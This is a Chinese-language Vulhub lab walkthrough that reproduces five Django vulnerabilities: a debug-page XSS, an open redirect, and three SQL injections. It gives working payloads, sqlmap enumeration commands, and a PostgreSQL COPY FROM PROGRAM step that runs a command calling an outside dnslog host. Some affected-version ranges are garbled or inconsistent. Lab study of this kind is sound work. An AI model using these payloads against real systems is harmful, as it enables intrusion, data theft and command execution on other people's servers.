Vulhub 漏洞学习之:Django
Vulhub 漏洞学习之:Django
1 Django debug page XSS漏洞(CVE-2017-12794)
Django发布了新版本1.11.5,修复了500页面中可能存在的一个XSS漏洞。
- 用户注册页面,未检查用户名
- 注册一个用户名为
<script>alert(1)</script>
的用户 - 再次注册一个用户名为
<script>alert(1)</script>
的用户 - 触发duplicate key异常,导致XSS漏洞
影响范围:
Django1.11.15之前的1.11.x版本
1.1 漏洞利用过程
-
访问
http://your-ip:8000/create_user/?username=<script>alert(1)</script>
创建一个用户,成功; -
再次访问
http://your-ip:8000/create_user/?username=<script>alert(1)</script>
,触发异常: -
Postgres抛出的异常被拼接进
The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception
,最后触发XSS。duplicate key value violates unique constraint "xss_user_username_key" DETAIL: Key (username)=(<script>alert(1)</script>) already exists.
2 Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)
Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware
、APPEND_SLASH
来决定)。
在path开头为//example.com
的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。
该漏洞利用条件是目标URLCONF
中存在能匹配上//example.com
的规则。
影响范围:
Django1.11.15之前的1.11.x版本
Django2.0.8之前的Django2.0.x版本。
2.1 漏洞利用过程
-
环境启动后,访问
http://your-ip:8000
即可查看网站首页。 -
访问
http://your-ip:8000//www.example.com
,即可返回是301跳转到//www.example.com/
:
3 Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)
Django在2019年8月1日发布了一个安全更新,修复了在JSONField、HStoreField两个模型字段中存在的SQL注入漏洞。
参考链接:
- https://www.djangoproject.com/weblog/2019/aug/01/security-releases/
- https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。
影响范围:
Django (1.11.x) Version < 1.11.23
Django (2.1.x) Version < 2.1.11
Django (2.2.x) Version < 2.2.4 作者:zhzyker https://www.bilibili.com/read/cv4579255/ 出处:bilibili
3.1 漏洞利用过程
-
首先登陆后台
http://your-ip:8000/admin/
,用户名密码为admin
、a123123123
。 -
登陆后台后,进入模型
Collection
的管理页面http://your-ip:8000/admin/vuln/collection/
: -
然后在GET参数中构造
detail__'123
提交,其中detail
是模型Collection
中的JSONField:http://192.168.210.13:8000/admin/vuln/collection/?detail__%27123
单引号已注入成功,SQL语句报错:
-
使用 Sqlmap 枚举数据库
sqlmap -r "post.txt" --dbms=postgresql --batch --level=5 --dbs # post.txt GET /admin/vuln/collection/?detail__* HTTP/1.1 Host: 192.168.210.13:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; IkT_sid=F200j0; IkT_visitedfid=2; Oek8_2132_saltkey=aKN5TCzQ; Oek8_2132_lastvisit=1642753250; Oek8_2132_ulastactivity=7c78015gAzgUhYx8Y4X7%2B%2FnyKuy1qm4chQpov2yIDC0MSju5YSLC; Oek8_2132_nofavfid=1; Oek8_2132_home_readfeed=1642757408; Oek8_2132_lastcheckfeed=2%7C1642757965; A3bB_2132_saltkey=nv2n2105; A3bB_2132_lastvisit=1642756702; A3bB_2132_ulastactivity=22c6t2t9S2N%2FpQagilNZI0bn%2FoDOUFZ90Bl0uHoyJmzIuaLqgmlK; A3bB_2132_nofavfid=1; A3bB_2132_lastcheckfeed=2%7C1642760420; csrftoken=aSm6HMGLeiaGH9TceWw0HypHtz6T8ALorwm0TjrHI2UN0GZk4z2uSUGTnU6yJGGI; sessionid=vy0qg4zfhtb2ilphmo3gb5w17xpckv3f Upgrade-Insecure-Requests: 1
-
也可以执行命令
-
构造shell,创建cmd_exec
http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
-
执行命令
http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%201orth7.dnslog.cn%27--%20
-
4 Django GIS SQL注入漏洞(CVE-2020-9402)
Django在2020年3月4日发布了一个安全更新,修复了在GIS 查询功能中存在的SQL注入漏洞。
参考链接:
- https://www.djangoproject.com/weblog/2020/mar/04/security-releases/
- Django CVE-2020-9402 Geo SQL注入分析 - 先知社区 (aliyun.com)
该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。
影响范围:
Django 1.11.29之前的1.11.x版本
2.2.11之前的2.2.x版本
3.0.4之前的3.0.x版本
4.1 漏洞利用过程
- 环境启动后,访问
http://your-ip:8000
即可看到Django默认首页。
4.1.1 漏洞一
-
首先访问
http://your-ip:8000/vuln/
。在该网页中使用get
方法构造q
的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1
-
SQL语句查询报错:
-
使用 Sqlmap 枚举数据库
sqlmap -u "http://192.168.210.13:8000/vuln/?q=*" --batch --dbms=oracle --dbs
4.1.2 漏洞二
-
访问
http://your-ip:8000/vuln2/
。 在该网页中使用get
方法构造q
的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--
-
SQL语句查询报错:
-
使用 Sqlmap 枚举数据库
sqlmap -u "http://192.168.210.13:8000/vuln2/?q=*" --batch --dbms=oracle --dbs
5 Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)
Django 3.2.4 在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞
参考链接:
该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。
影响范围:
Django 1.11.29之前的1.11
5.1 漏洞利用过程
-
环境启动后,访问
http://your-ip:8000
即可看到Django默认首页。 -
访问页面
http://your-ip:8000/vuln/
,在GET参数中构造order=-id
,会得到根据id降序排列的结果:http://your-ip:8000/vuln/?order=-id
-
再构造GET参数
order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
提交,其中vuln_collection
是vuln
应用下的模型Collection
http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
-
成功注入SQL语句,利用堆叠注入获得信息:
-
sqlmap
sqlmap -u "http://192.168.210.13:8000/vuln/?order=vuln_collection.name*" --dbms=mysql --batch --dbs